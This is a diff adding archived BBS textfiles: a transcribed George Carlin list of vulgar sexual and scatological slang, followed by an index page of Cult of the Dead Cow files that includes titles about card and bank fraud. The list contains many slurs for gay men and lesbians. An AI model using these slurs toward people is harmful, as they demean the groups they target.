diving suit + drop catcher eel skin + fear-not french letter + gasket joybag + one-piece overcoat pipe pullover + port said garter raincoat + rubber rubber glove + safe scumbag + sheath showercap + tail sheath + + + Erection + ---------- + + bone boner + bone on burgeoning truncheon + captain standfish flagpole + hard hard-on + horn in one's best clothes + irish toothache mean-on + morning pride old hornington + on the stand pants pusher + piss hard piss proud + prod proud below the navel + proud mary rail + riser rise in the levi's + rod-on rock python + spike stalk + standing ware stand-up + stiff stiffer + steely dan sporting a sequoiya + throbber woody + + + Illegitimate Child + -------------------- + + accident adulterine + babe of love bachelor's son + bar steward bastard + born out of wedlock bush colt + bye-blow catch colt + chance-born chance child + hasty pudding love child + merry-begotton child misbegotten + momzer natural + nephew niece + out-child side wind + single child son of a bitch + squeaker stall whimper + whoreson yard child + +________________________ + + End of Part I +Continued in BB file #14 + +-=*/> Buzzz Bros. <\*=- + (c) MCMXCI +________________________ + + diff --git a/textfiles.com/groups/BUZZ/bbrosn14.txt b/textfiles.com/groups/BUZZ/bbrosn14.txt new file mode 100644 index 00000000..ae47bb96 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbrosn14.txt @@ -0,0 +1,796 @@ + *=-- --=* + { George Carlin: nonconformist, liberal, open-minded, and by far } + funnier than any other comedian-come-lately. His latest effort + { has been transcribed for your carnal [dis]pleasure. Enjoy! } + *=-- --=* + + *=-- --=* + { the } + -=*/> Buzzz Bros. <\*=- + + present + _____________ + + AN INCOMPLETE LIST OF IMPOLITE WORDS: + 2,443 FILTHY WORDS AND PHRASES + + Part II + + Compiled By George Carlin + ______________ + + Text Entry by Havoc + { } + *=-- --=* + + + + Lecher + -------- + + alley cat amoroso + animal basher + bed-presser belly bumper + bird's nester bluebeard + bum fiddler casanova + chimney sweep chippy chaser + cock hound cocksman + cocksmith don juan + eager beaver feather-bed soldier + fleece hunter flesh fly + flesh monger flower fancier + fox hunter fuckster + gamestock gash hound + goat grouser + gully raker hair monger + headhunter horseman + king of clubs ladies' tailor + lech libertine + lothario lover + make-out artist meat hound + moll hunter mr. horner + muttoner parish bull + pelter pinch-bottom + prigger quail hunter + ranger rider + rooster rounder + rutter sexpert + sexual athleat sharpshooter + skin dog smell smock + son of venus sportsman + stallion stoat + stud swinger + swordsman tad + tit kisser tomcat + town bull town rake + tug-mutton tummy tickler + whisker splitter whore hopper + whore hound womanizer + woodman + + + Easy Woman + ------------ + + adultera alley cat + bangster bed bunny + belly-lass biffer bimbo + bunny calico queen + charity's stuff chippy + coming wench cum freak + dead easy easy lay + easy make easy meat + floozy free-for-all + free ride gay in the groin + gobble-prick goober grabber + grassback grind + hairy bit high flyer + hobby horse horns-to-sell + hoy lay hot stuff + hot number hot tamale + hussy jazz baby + letching piece light skirts + loose woman miss horner + nestlecock nympho + open-ass pick-up + piece of stray playgirl + pleaser push-over + puta roundheel + scupper sexpot + shagstress short-heeled wench + slot-jab soft-jaw + strollop tickle-tail + town punch tramp + wag-tail walk-up fuck + wanton warm bit + willing-tit yes-girl + + + Prostitute + ------------ + + ass peddler bachelor's wife + bangster barrack hack + bimmy bird + biscuit blouser + bob tail boong moll + broad bunny + burlap sister business girl + butt-peddler call girl + cannon woman canvasback + chippy cock-eyed jenny + coffee grinder come-catcher + common sewer company girl + crack salesman cruiser + door keeper dress for sale + early door erring sister + fallen woman fast-fanny + fast woman ferry + flag-about flash-tail + flatback flax-wench + flesh pot floosie + foreskin hunter frail sister + garbage can girl at ease + guinea hen harlot + harpie hatrack + hay-bag hooker + hose-bag hunt-about + hustler joy girl + lady of the evening lease piece + livestock loose fish + lowheel mattress + merry-legs moonlighter + moth need-woman + night jobber nockstress + notch-broad nymph of darkness + old rip overnight bag + painted woman pavement princess + piece piece of trade + pinch-prick pintle-twister + poker climber pro + prossy punchable fun + put quial + quiff raspberry tart + reciever general red-light sister + sailor's bait saleslady + scarlet sister she sails + sister sister of mercy + sloop of war slut + speedy sister sporting girl + stem siren streetwalker + strumpet tail + tart thrill dame + toffer tricking broad + tumble vent rider + vice sister whore + window tapper woman about town + working girl zook + + + Pimp + ------ + + apron squire ass peddler + brother of the gusset button broker + crack salesman fishmonger + flesh peddler gorilla + honey man hustler + iceberg slim mack man + missionary panderer + petticoat merchant ponce + procurer prosser + runner skirt man + stable boss toute + whiskin + + + Brothel + --------- + + academy bagnio + bag-shanty bandbox + bat house beauty parlor + beaver base bed house + bird cage bordello + button-hole factory cab joint + cake shop call house + can house cat flat + cat house chippy house + coupling house disorderly house + doss house fish market + flash crib flesh market + fuckery garden house + girlery goathouse + goosing slum heifer barn + house of all nations house of ill fame + kip shop knocking shop + ladies' college leaping house + moll shop notchery + notch joint nunnery + pushing school red-light house + rib-joint riding academy + sporting house temple of venus + touch-crib vaulting house + warm shop whorehouse + whoreshop + + + Masturbate (male) + ------------------- + + backstroke roulette bash the candle + beat off beat the bishop + beat the dummy beat the meat + beat the stick bleed the weed + blow your load bludgeon the beefsteak + bop the baloney box the jesuit + buff the banana burp the worm + butter the corn choke the chicken + choke the sherrif and wait for the posse to come + clean your rifle crank your shank + crown the king cuff the carrot + diddle drain the monster + fist fuck fist your mister + five against one flog the dog + flog the hog flog your dong + flute solo fondle the fig + gallop the antelope give it a tug + grease the pipe hack the hog + hand job hand work + have it off hitchhike under the bigtop + hump your hose jackhammer + jack off jazz yourself + jerk off jerk the gherkin + lope the mule make the bald man puke + manipulate the mango manual override + milk the lizard mount the corporal and four + nerk your throbber oil the glove + onan's olympics one-man show + pack your palm paddle the pickle + paint the pickle paint the ceiling + please your pisser plunk your twanger + pocket pinball pocket pool + polish the rocket polish the sword + pound off pound your flounder + pound your pud pull off + pull the pole pull the pope + pull the pudding pull your prick + pull your taffy pump the python + ram the ham ride the great white knuckler + rope the pony rub off + shag shine your pole + shootin' putty at the moon slakin' the bacon + slammin' the salmon slam the hammer + slam the spam slappin' pappy + slapping the clown sling the jelly + snap the monkey snap the rubber + snap the whip soldier's joy + spank the frank spank the salami + squeeze the lemon stroking it + stroke off stroke the dog + stroke your poker take yourself in hand + tease the weenie tenderize the meat + the five-knuckle shuffle thump the pump + tickle your pickle toss off + tweak your twinkie varnish your flagpole + visiting rosie palm and her five daughters + walk the dog wank + wax the carrot wax the dolphin + whack off whip off + whip the dummy whip the wire + whip your dripper whizzin' jizzum + wonk your conker work off + wrestle your eel wring out your rope + yang your wang yank off + yank the crank yank the plank + yank your yam yank your strap + + + Masturbate (female) + -------------------- + + beat the beaver clap your clit + cookin' cucumbers finger + finger fuck finger job + gettin' it wet greasin' the gash + hand trip hide the hot dog + hit the slit hose your hole + juice the sluice let the beaver swim + makin' some soup pet the poodle + she-bop slam the clam + tickle the taco two-finger tango + + + Homosexuals (male) + -------------------- + + alice ass bandit + angel ass king + auntie blow boy + bun duster buttercup + bandit belle + bent betty + boy broken-wrist + brown-hatter cocksucker + cake eater cream puff + cock queen capon + cannibal chicken + chicken-hawk closet queen + cowboy dicksucker + dick smoker daffodil + ducky dandy + daisy dicky licker + ethel fag + faggot fruit + fairy flirt + flaming faggot gay + gayboy girlie + goat blower gobbler + gonsel green and yellow fellow + gentlemiss gussie + homo he-she + himmer hen-hussy + joy-boy joey + lad-lass lisper + lavender boy light-foot + lily limp-wrist + lick-spigot malkin + mary ann molly mop + miss nancy meat hound + midnight cowboy mince + minty mother + mattress muncher nance + nancy boy nelly + nephew one of those + pink pants pansy + poof panty waist + powder puff pretty boy + pussy punk + pillow-biter piccolo player + quiff queer + queen quince + rear admiral rear gunner + raving queen rimadonna + receiver sissy + screaming fairy sis + soapy sister + spurge sissy-britches + skin diver skippy + suckster sweetie + swish third-sexer + three-dollar bill three-legged beaver + twinkie twank + twixter turd burgler + uranist undercover man + whoops boy willie boy + wonk + + + Homosexuals (Female) + ---------------------- + + amy-john boon dagger + bull bull dyke + bull dagger butch + beaver eater carpet muncher + dyke diesel dyke + fairy lady fem + femme fluff + fluzz dyke gal boy + gay jasper + lady-lover les + lesbyterian lezzie + lezbo lezzo + lover under the lap margie + mintle ruffle + rug eater split tail lover + sappho sister + sergeant tribadist + tootsie top sergeant + wolf + + + Sodomite + ---------- + + bird-taker brown hatter + brownie brownie king + bugger bum fucker + burglar corn-holer + eye doctor gentleman of the back room + gut butcher gut fucker + gut scraper gut stuffer + inspector of manholes jesuit + jockey reamer + ring-snatcher sheep-herder + shit stirer stern chaser + stuffer turd burglar + turk uncle + usher wolf + + + Anal Intercourse + ------------------ + + ass-fuck backdoor + bake potatoes bend some ham + baloney colonic basco boulevard + brown brown hole + bugger bum fuck + butt-bang butt-fuck + chocolate speedway cornhole + dig a ditch dip in the fudgepot + do a brown dot the "I" + fish for brown trout fluff the duff + get some mud for the duck goin' down the dirt road + greeking hershey highway + hit someone in the seat keister stab + kneeling at the altar making poundcake + mustard road over the bridge to plimpton + packing fudge paint the bucket + pop it in the toaster powder someone's cheeks + pushin' shit uphill ram job + ream rectify + ride the deck saddle up + shit-fuck split some buns + stir fudge third way + thread somebody tom-fuck + + + Analingus + ----------- + + ass blow bite the brown + blow some ass clean up the kitchen + eat jam eat poundcake + lickety-split play the piano + rim job rimming + shove the tongue smear the tuna + snarf suck asshole + sugar bowl pie take a trip to the moon + tell a french joke tongue-fuck + toss a salad whitewash the back 40 + + + Fellatio + ---------- + + B.J. blow + blow job blow the whistle + bone-lipper chew it + cop a doodle cop a stem + drop on it eat dick + fluting french job + french way get a facial + give face give head + give pearls gobble + gobble the goop go down + go down for a whomp go down on + gum a root gunch + head job hum a tune + hum job hummer + inhale the oyster knob job + lay some lip mouth fuck + munch open wide for chunky + pipe job piston job + play a tune polish the chrome + polish the knob serve head + slob the knob smoke a dick + smoke the white owl suck a bondini + suck dick suck off + suck the sugar-stick sucky-fucky + swallow a sword swing on it + tongue job worship at the altar + wring it dry + + + Cunnilingus + ------------- + + barking at the ape bird-washing + blow-job box lunch + bush dinner canyon yodeling + cuntino fillet with white sauce cunt lapping + dive a muff eating at the "Y" + eating pussy eating out + egg mcmuff face job + french job french tricks + furburger give face + give head go down on + go south go under the house + hair pie head job + larking lickety split + moustache ride muff barking + muff dive mumbling in the moss + pearl diving playing in the sandbox + sea food dinner shrimping + sit on one's face skull fuck + smokin' in the fur sneeze in the basket + sneeze in the cabbage talking to the boat people + talking to the canoe driver telephone the stomach + tongue-fuck tuna taco + whistle in the dark whistling in the weeds + yodeling in the gully + + + Mutual Oral Sex + ----------------- + + dinner beneath the bridge double header + flip-flop head over heels in love + loop-de-loop play hoop snake + P's and Q's sea food mutual + sixty-nine + + + Group Sex + ----------- + + bunch punch chain jerk + choo-choo circle jerk + club sandwich crew screw + daisy chain everythingathon + fuckathon gang bang + gang shag group grope + mazola party mob job + mongolian cluster fuck orgy + pull a train pull party + ring jerk round pound + swing party team cream + three way + + + The Posterior (all parts) + --------------------------- + + arse ass + asshole back end + back door back door trumpet + backside behind + bim blindeye + blot bogey + boody booty + bosco boulevard bottom + brown bucket brownie + bucket bum + bung hole buns + butt caboose + cans cheeks + chocolate speedway chuff + clunes corybungus + culo derriere + dirt road dot + double juggs duff + dummock duster + fanny farting clapper + feak fud + fudge tunnel gigi + grommet hershey highway + hearts heinie + hind hole + hunkers keister + khyber pass last part over the fence + latter end little brown eyeball + luds moon + nates northpole + orbs poop chute + porthole prats + pucker hole rear + rearend rester + ring rip + round-eye rump + scut seat + sewer shit chute + slats tail + tan track toby + toches tush + underside windmill + windward passage + + + Excrement + ----------- + + alley apple baby ruth + brown round ca-ca + cack cow puppy + crap dead soldier + doo-doo dreck + dung duty + horse dumpling hockey + jank meadow dressing + night soil plot + poop poo-poo + shit turd + yackum + + + Defecate + ---------- + + bury a quaker chuck a turd + clart dispatch one's cargo + drop a load go potty + grunt lay some cable + make a deposit pinch a loaf + poop post a letter + scumber squat + take a dump take a shit + + + Related + --------- + + chuffnuts clinkers + dingleberries fartleberries + klingons will-knots + + + Flatulence + ------------ + + back-talk blast + blow off blow the horn + break wind breeze + bucksnort burn bad powder + burnt cheese cabbage fart + cheezer chocolate thunder + crepitate cut one + drop a rose fart + fluff gurk + hinder blast honk + lay a fart let go + let one make a rude noise + pass air pocket thunder + poot rouser + scotch warming-pan shoot rabbits + stinker tail shot + talk german tee off + wet one whiffer + winder + + + Urine + ------- + + chamber lye cousin sis + golden shower long tea + mickey bliss number one + pee pee-pee + piss sis + tail juice tail water + tea wee + wee-wee yellow stream + zigg + + + Urinate + --------- + + bleed the liver burn the grass + do number one drain + drain the lizard drain the radiator + drain the snake drain the suds + kill a snake kill a tree + lag lant + leak let fly + make make water + nature stop pass water + pee pee-pee + pick a daisy piddle + piss point percy at the porcelain + pump ship rack off + run off shake a sock + shake hands with an old friend shake the dew off the lily + slack splash + spring a leak squeeze the lemon + squirt strain one's taters + syphon the python take a leak + take a piss take your snake for a gallop + tinkle toy-toy + train terrance on the terra cotta + visit miss murphy void + water the dragon water the horses + wee wee-wee + wet whiz + wring out a kidney wring the dew off the branch + wring your sock out + + + Smegma + -------- + + cheese duck butter + gnat bread + + + Toilet + -------- + + altar room bath + bathroom biffy + bog chamber of commerce + closet of decency comfort station + facilities gentlemen's room + gent's room indoor plumbing + jake john + ladies' room lav + leakery library + little boys' room little girls' room + loo marble palace + men's room mrs. jones place + old soldiers' home pisser + plumbing pot + powder room public convenience + restroom sandbox + shit house shitter + shot tower tearoom + twilight used beer department + washroom water closet + where the queen goes on foot whiz stand + whizzer + +__________________________ + + Special Thanks To: +__________________________ + +Pepsi Cola (Diet Pepsi) +Marlboro Cigarettes +Miller Lite + +and of course..... +George Carlin +__________________________ + +-=*/> Buzzz Bros. <\*=- + (c) MCMXCI +__________________________ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/textfiles.com/groups/CDC.1 b/textfiles.com/groups/CDC.1 new file mode 100644 index 00000000..9f01e9c5 --- /dev/null +++ b/textfiles.com/groups/CDC.1 @@ -0,0 +1,458 @@ + +T E X T F I L E S + +

Groups: The Cult of the Dead Cow

+

+The Cult of the Dead Cow (cDc) rose in 1985, joining the sea of textfile +groups that dominated the BBS scene. The majority of files they came out +with in the beginning centered around anarchy, heavy metal, and odd +stories. By sheer tenacity of will, they continue as a group to present +time, and therefore have lasted well over a decade. This makes them the +oldest surviving textfile group in existence. +

+With well over three hundred files in their library, cDc has left +almost no textfile subject untouched. Besides the ubiquitous phreaking, +hacking, and anarchy files, members have written poetry, fiction, +music lyrics, erotica, and Scene news stories. By constantly reviewing +their membership rolls and taking on new members when older ones retire, +the group has stayed fresh and active as an entity. + +

+Through the general slowdown of the early 1990's, cDc repositioned +itself as a brand name by dint of the addition of Skeeve/Deth Vegetable, +whose own media awareness (interviews on Dateline NBC and other outlets) +ensured that Cult of the Dead Cow would recieve press and recieve much +of it. cDc got into the business of clothing and stickers, and did a +remarkable job of preserving its own heritage even as the majority of +users moved from BBSs to the internet. Members of cDc are now routinely +contacted by media when the opinion of the "underground" is sought or +at least pursued. + +

+In recent years the cDc has gained nationwide notoriety for its work with +security-checking programs (a further expansion of the brand name) such as +Back Orifice, which provides remote administration of Windows 95 +and NT machines. +

+The Cult of the Dead Cow have a web site at +www.cultdeadcow.com. +

+ + + + + +
+
Filename
Size
Description of the Textfile
aomt4.asc 830
 AD: Ahead of My Time BBS +
arcusnet.faq 7137
 The ArcusNET Faq by Mephistopholes (November 2nd, 1994) +
bear.trap.love 12800
 The Bear Trap of Love by krass Katt (1989) +
bert.the.poem 6528
 Bert: The Poem, from Racer X of Cult of the Dead Cow (1990) +
book.of.cow 7296
 The Book of Cow by the Cult of the Dead Cow (1987) +
boredom.innocen 5504
 Boredom and Innocence by Obscure Images of the Cult of the Dead Cow (1991) +
bovine.death 4736
 Bovine Death, by The Raver of Cult of the Dead Cow (1988) +
bovine.epic 2688
 The Bovine Epic of Creation, by High Priest and Franken Gibe +
bovinomicon 7168
 History of the Bovinomicon by The Raver (1988) +
bunny.lust 5632
 Ted and Dave's Animal Fun: Session I: Bunny Lust, by Tippy Turtle (1987) +
burntheflag 6272
 Burn the Flag! by Bloody Afterbirth (Toxic File #66) +
bus.driver 7424
 The Bus Driver by Scum of Cult of the Dead Cow (1989) +
cDc-0001.txt 3356
 Gerbil Feed Bomb by Swamp Rat +
cDc-0002.txt 14946
 Wizardry Docs by Swamp Rat +
cDc-0003.txt 9236
 Wizardry Spells by Swamp Rat +
cDc-0004.txt 18689
 Rescue Raiders Docs by Swamp Rat +
cDc-0005.txt 2460
 Renegade Cows by HAL 9000 +
cDc-0006.txt 4758
 Assembly Fun by Sid Vicious +
cDc-0007.txt 2965
 Slow Death by Swamp Rat +
cDc-0008.txt 7209
 Book of Cow by Franken Gibe +
cDc-0009.txt 4735
 Society Sucks by Psychotic Opposition +
cDc-0010.txt 9173
 P.E.A.C.E. by Psychotic Opposition +
cDc-0011.txt 15364
 Suicidal Tendencies-Join the Army (lyrics) by Wasted Pandemonium +
cDc-0012.txt 8600
 Metallica-Master of Puppets (lyrics) by Swamp Rat +
cDc-0013.txt 7009
 NPA List by Franken Gibe +
cDc-0014.txt 17971
 UNIX Bible by Franken Gibe +
cDc-0015.txt 19389
 Yellow Pages Vol.I by Franken Gibe +
cDc-0016.txt 4435
 A Fucked Life by Swamp Rat +
cDc-0017.txt 3856
 Gnu Christmas Story by Franken Gibe +
cDc-0018.txt 5525
 Bunny Lust by Tippy Turtle +
cDc-0019.txt 15818
 Thompson and Ackeret: Trashing by The Daredevil +
cDc-0020.txt 7345
 B00G and the art of ZEN by Anarchy Inc. +
cDc-0021.txt 3983
 The Cold Truth by 2600 +
cDc-0022.txt 6211
 How to Card Shit, When You Live With Your 'rents by L.E. Pirate +
cDc-0023.txt 8487
 The Story of a Mercenary by Lord Omega +
cDc-0024.txt 4891
 EZ Destruction by Dial Tone +
cDc-0025.txt 13322
 Method of Destruction-USA for MOD (lyrics) by Swamp Rat +
cDc-0026.txt 6310
 The Phone Sex Scandal by L.E. Pirate +
cDc-0027.txt 7724
 Frankie's Fireside Phreak Primer by Franken Gibe +
cDc-0028.txt 23835
 Yellow Pages Vol.II by Franken Gibe +
cDc-0029.txt 7347
 Cow Chronicles #1 by Franken Gibe +
cDc-0030.txt 2566
 The Bovine Epic of Creation by Franken Gibe +
cDc-0031.txt 3752
 A Feature on MONEY - Today's Monster by Psychedelic Warlord +
cDc-0032.txt 8178
 Dirty Rotten Imbeciles-Crossover (lyrics) by Swamp Rat +
cDc-0033.txt 3649
 Fun With Traffic Lights by Dial Tone +
cDc-0034.txt 19295
 Dead Kennedys-Give Me Convenience...(lyrics) by Suicidal Amoeba +
cDc-0035.txt 6958
 Scarfing by Suicidal Amoeba +
cDc-0036.txt 18551
 On BLACK FLAG... by Suicidal Amoeba +
cDc-0037.txt 3540
 A Few Good Songs off of Eat Your Paisley by Psychedelic Warlord +
cDc-0038.txt 5002
 Area Code and Time Zone List by Dial Tone +
cDc-0039.txt 3928
 Fuck The World by Swamp Rat +
cDc-0040.txt 8687
 Sex With Satan (dist.) by Psycoe +
cDc-0041.txt 18917
 The Mentors-Up the Dose (lyrics) by Mr. Drunkfux +
cDc-0042.txt 3650
 Apple Shape Tables by The Dark Static +
cDc-0043.txt 10649
 Metallica-Kill 'Em All (lyrics) by Swamp Rat +
cDc-0044.txt 4758
 Mail Fraud by L.E. Pirate +
cDc-0045.txt 3664
 Beaming Dream: a poem by Tequila Willy +
cDc-0046.txt 6495
 Fun With Small Animals and Other Household Pets by Sunspot +
cDc-0047.txt 11830
 Hacking Into Hell by The Raver +
cDc-0048.txt 7674
 Evil Poetry: Vol. I by The Raver +
cDc-0049.txt 3815
 The Queen is Dead: a poem by Sunspot +
cDc-0050.txt 1794
 The Song of the Cow: a poem by Psychedelic Warlord +
cDc-0051.txt 8769
 The Day My Kid Turned Punk by The Dark Static +
cDc-0052.txt 45404
 Cross Of Iron 1.1 by The Raver/editor +
cDc-0053.txt 45363
 Cross Of Iron 1.2 by The Raver/editor +
cDc-0054.txt 46221
 Cross Of Iron 1.3 by The Raver/editor +
cDc-0055.txt 2006
 About Cross Of Iron #1 by The Raver +
cDc-0056.txt 3651
 The Prophecy of Cow by Franken Gibe +
cDc-0057.txt 7109
 History of the Bovinomicon by The Raver +
cDc-0058.txt 11407
 The Nameless Pasture by The Raver +
cDc-0059.txt 8842
 Interview With Neo-Nazi 'Ausderau' by Psychedelic Warlord +
cDc-0060.txt 10910
 Megadeth-so far, so good...so what! (lyrics) by Swamp Rat +
cDc-0061.txt 4720
 Bovine Death by The Raver +
cDc-0062.txt 4524
 Scotty's Tale of Sex and Death by Racer X +
cDc-0063.txt 3981
 Sesame St. Possession by Swamp Rat +
cDc-0064.txt 8639
 Death Angel-Frolic through the park (lyrics) by Swamp Rat +
cDc-0065.txt 7927
 Agnostic Front-Liberty & Justice For...(lyrics) by Racer X +
cDc-0066.txt 10779
 Dayglo Abortions-here today guano tomorrow(lyrics) by Swamp Rat +
cDc-0067.txt 26124
 Thrasher's Metallica Interview Part 1 by Racer X +
cDc-0068.txt 20886
 Thrasher's Metallica Interview Part 2 by Racer X +
cDc-0069.txt 8374
 Testament-The New Order (lyrics) by Swamp Rat +
cDc-0070.txt 1379
 The cDc compilation: volume one (Apple II/2 sides) by Swamp Rat/editor +
cDc-0071.txt 17667
 The *ONLY* Way To Get Telenet Thingies by Tequila Willy +
cDc-0072.txt 9572
 Toxik-World Circus (lyrics) (dist.) by The Omen +
cDc-0073.txt 3387
 Visions From The Last Crusade by Psychedelic Warlord +
cDc-0074.txt 3091
 The Camping Trip by Franken Gibe +
cDc-0075.txt 13167
 Metallica-...And Justice For All (lyrics) by Swamp Rat +
cDc-0076.txt 12989
 Institutionalized by Necrovore +
cDc-0077.txt 3732
 Held Captive by Racer X +
cDc-0078.txt 8822
 Danzig (lryics) by Racer X +
cDc-0079.txt 4332
 The True Story of Cult of the Dead Cow by Psychedelic Warlord +
cDc-0080.txt 3237
 ...a Slayer kind of day... by G.A. Ellsworth +
cDc-0081.txt 8577
 Trail of Blood by Sunspot +
cDc-0082.txt 6635
 Geek: The Saga Continues by The Pusher +
cDc-0083.txt 16153
 Lyrics to Both Youth Of Today Albums by The Pusher +
cDc-0084.txt 12258
 Big Black Interview by G.A. Ellsworth +
cDc-0085.txt 8242
 cDc core #1 by The Pusher +
cDc-0086.txt 7367
 Screwdriver Flippin' by Sunspot +
cDc-0087.txt 6951
 A Tale of Two Sexes by Swamp Rat +
cDc-0088.txt 3493
 Armageddon's Coming: a poem by Sunspot +
cDc-0089.txt 1415
 The cDc compilation: volume two (Apple II/2 sides) by Swamp Rat/editor +
cDc-0090.txt 13105
 Cow-San by Necrovore +
cDc-0091.txt 9077
 The Reel Way by The Pusher +
cDc-0092.txt 5511
 "Group Revue" by The Pusher +
cDc-0093.txt 5813
 Las Vegas Mutantz From Hell! by The Pusher +
cDc-0094.txt 2937
 Fighting - The Clean Way! by The Pusher +
cDc-0095.txt 12645
 Impresario: Malcom McLaren and the British New... by The Pusher +
cDc-0096.txt 16945
 Dead Kennedys-Plastic Surgery Disasters (lyrics) by Necrovore +
cDc-0097.txt 8971
 Twisted Reality by Necrovore +
cDc-0098.txt 7984
 On The Porch Swing by Suzy Rust +
cDc-0099.txt 11590
 Top Gun by Don Howland +
cDc-0100.txt 43563
 The cDc #100 BamBam File by The cDc cultees +
cDc-0101.txt 8737
 cDc core #2 by The Pusher +
cDc-0102.txt 10557
 FUGAZI lyrics by G.A. Ellsworth +
cDc-0103.txt 5356
 cDc core #2 1/2 by The Pusher +
cDc-0104.txt 4528
 Gun Control by The Pusher +
cDc-0105.txt 23922
 POetRIE by Obscure Images +
cDc-0106.txt 7507
 Dream Tripped by Racer X +
cDc-0107.txt 7695
 cDc core #3 by The Pusher +
cDc-0108.txt 3777
 The End by Obscure Images +
cDc-0109.txt 26588
 A Feeling of Electricity In the Air by Jennifer Petkus +
cDc-0110.txt 25662
 The Flesh Man by Richard Avis +
cDc-0111.txt 15394
 Jack and Jack by Obscure Images +
cDc-0112.txt 12851
 Beautiful Stories for Ugly Children #1 by Krass Katt +
cDc-0113.txt 1353
 The cDc compilation: volume three (Ap2/2 sides) by Swamp Rat +
cDc-0114.txt 7556
 cDc core #4 by The Pusher +
cDc-0115.txt 12755
 Bear Trap of Love by Krass Katt +
cDc-0116.txt 6893
 A Slight Miscalculation by Bob Cram +
cDc-0117.txt 5133
 Lost Love by Egyptian Alchemist +
cDc-0118.txt 4954
 A Moment In Time by Obscure Images +
cDc-0119.txt 41721
 Retrospective Rock by The Pusher +
cDc-0120.txt 7382
 The Bus Driver by Scum +
cDc-0121.txt 7183
 Ultra Trendies by Psychedelic Warlord +
cDc-0122.txt 5698
 David and Goliath: Goliath's Point of View by Leper Messiah & Swamp R. +
cDc-0123.txt 19276
 Beautiful Stories for Ugly Children #2 by Dave Louapre +
cDc-0124.txt 4761
 It Hurts and Won't Make You Better by Obscure Images +
cDc-0125.txt 16342
 Sunday by Peter Flechette +
cDc-0126.txt 7625
 Stud Muffin R0dent by Tequila Willy +
cDc-0127.txt 7172
 Double Feature by The Dark Static +
cDc-0128.txt 7663
 Death and The Bovine by Lady Carolin +
cDc-0129.txt 9412
 Credit Card Fraud Ideas by L.E. Pirate +
cDc-0130.txt 5002
 My Day With The Dentist by Psychedelic Warlord +
cDc-0131.txt 5436
 The Three Cows by Lady Carolin +
cDc-0132.txt 3988
 The Wild One by Obscure Images +
cDc-0133.txt 6143
 White Rodent's Short Story Lump by White Rodent +
cDc-0134.txt 7436
 cDc core #5 by The Pusher +
cDc-0135.txt 6095
 Trickledown by Josh Whalen +
cDc-0136.txt 7831
 The Coming of Angels by Obscure Images +
cDc-0137.txt 7920
 Mourning in America by Steve Ross +
cDc-0138.txt 14920
 Life Sentence by The Pusher +
cDc-0139.txt 6486
 Bert: The Poem by Racer X +
cDc-0140.txt 19789
 The Burn Turns Two Into One - Part 1 by Obscure Images +
cDc-0141.txt 13381
 Smothered Hope by Obscure Images +
cDc-0142.txt 7150
 Fatal Attraction for Real by G.A. Ellsworth +
cDc-0143.txt 8330
 Inject Me by Obscure Images +
cDc-0144.txt 7278
 Whose Morality? by Tequila Willy +
cDc-0145.txt 10851
 Sanctified by Obscure Images +
cDc-0146.txt 6822
 Mudhoney Interview by G.A. Ellsworth +
cDc-0147.txt 4993
 Dance of the Cow by Akira +
cDc-0148.txt 10117
 The Burn Turns Two Into One - Part 2 by Obscure Images +
cDc-0149.txt 10225
 Rural Hell by THE NIGHTSTALKER +
cDc-0150.txt 23017
 INJUSTICE FOR ALL: A Guide to U.S. Pot Laws by Judy McGuire +
cDc-0151.txt 41594
 Sex, Ecstasy and the Psychedelic Drugs by R.E.L. Masters +
cDc-0152.txt 11074
 cDc core #6 by The Pusher +
cDc-0153.txt 15638
 Excerpts from BLADE BARRIER Book #3 by Dean Tetreault +
cDc-0154.txt 5949
 The Jolly One by The Usenet Oracle +
cDc-0155.txt 31083
 No Experience Necessary by The Pusher +
cDc-0156.txt 16693
 The Happy Machine by Obscure Images +
cDc-0157.txt 16746
 Jack and Jack (revised) by Obscure Images +
cDc-0158.txt 5003
 That Dirty Beach by Tequila Willy +
cDc-0159.txt 5493
 Boredom and Innocence by Obscure Images +
cDc-0160.txt 10186
 Story of an Alternative Lifestyle by The Pusher +
cDc-0161.txt 19764
 A Kinder, Gentler Nation by Tequila Willy +
cDc-0162.txt 8743
 Until the Next Time by Obscure Images +
cDc-0163.txt 7389
 UPSetting by Axiom Codex & Lazar +
cDc-0164.txt 6661
 BEYOND GOOD AND EVIL - A Contemporary Interp... by Tequila Willy +
cDc-0165.txt 23938
 Winnie the Pooh - Part 1 by A.A. Milne +
cDc-0166.txt 39143
 Silent Applause Part 1 of 2 by The Pusher +
cDc-0167.txt 41232
 Silent Applause Part 2 of 2 by The Pusher +
cDc-0168.txt 6688
 Bank Fraud by White Knight +
cDc-0169.txt 8702
 Amerika's Most Wanted by Lady Carolin +
cDc-0170.txt 9210
 My Grey Matter by Tequila Willy +
cDc-0171.txt 13474
 Clockwork by Obscure Images +
cDc-0172.txt 6053
 Wet-Mount Slide by Tequila Willy +
cDc-0173.txt 3909
 Urban Womb by EnTrOpY +
cDc-0174.txt 10822
 Self Defense by THE NIGHTSTALKER +
cDc-0175.txt 11510
 Fuck You, Swamp Rat by Swamp Rat +
cDc-0176.txt 9819
 cDc core #7 by The Pusher +
cDc-0177.txt 18108
 Feed 'Em to the Lions! by Tequila Willy +
cDc-0178.txt 5169
 How Do I Love Thee? by Suicidal Maniac +
cDc-0179.txt 21657
 Hip-Hop Primer by Birnbaum & Adler +
cDc-0180.txt 10369
 Amazingly True Things #1 by Swamp Rat +
cDc-0181.txt 11449
 Life Lost; Prosperity Gained by Suicidal Maniac +
cDc-0182.txt 5420
 Woooaaahhh, Nelly! by Tequila Willy +
cDc-0183.txt 9684
 cDc core #8 by The Pusher +
cDc-0184.txt 3813
 It Looked Back at Me by Tequila Willy +
cDc-0185.txt 13774
 The Future by Alien Hin +
cDc-0186.txt 37507
 Hip-Hop Primer #2 Part 1 of 2 by Mark Dery +
cDc-0187.txt 18375
 Hip-Hop Primer #2 Part 2 of 2 by Mark Dery +
cDc-0188.txt 6972
 The Illusion of Motion by Tequila Willy +
cDc-0189.txt 3685
 My Circumcision by Franken Gibe +
cDc-0190.txt 4826
 The Greater of Two Evils by Obscure Images +
cDc-0191.txt 13863
 The Jesus Lizard Interview by G.A. Ellsworth +
cDc-0192.txt 4468
 Compact Disc Scam by Tequila Willy +
cDc-0193.txt 22277
 Butch by Jane Delynn +
cDc-0194.txt 17593
 SatanTrek by Necrovore +
cDc-0195.txt 6858
 Earth Goo by Lady Carolin +
cDc-0196.txt 12551
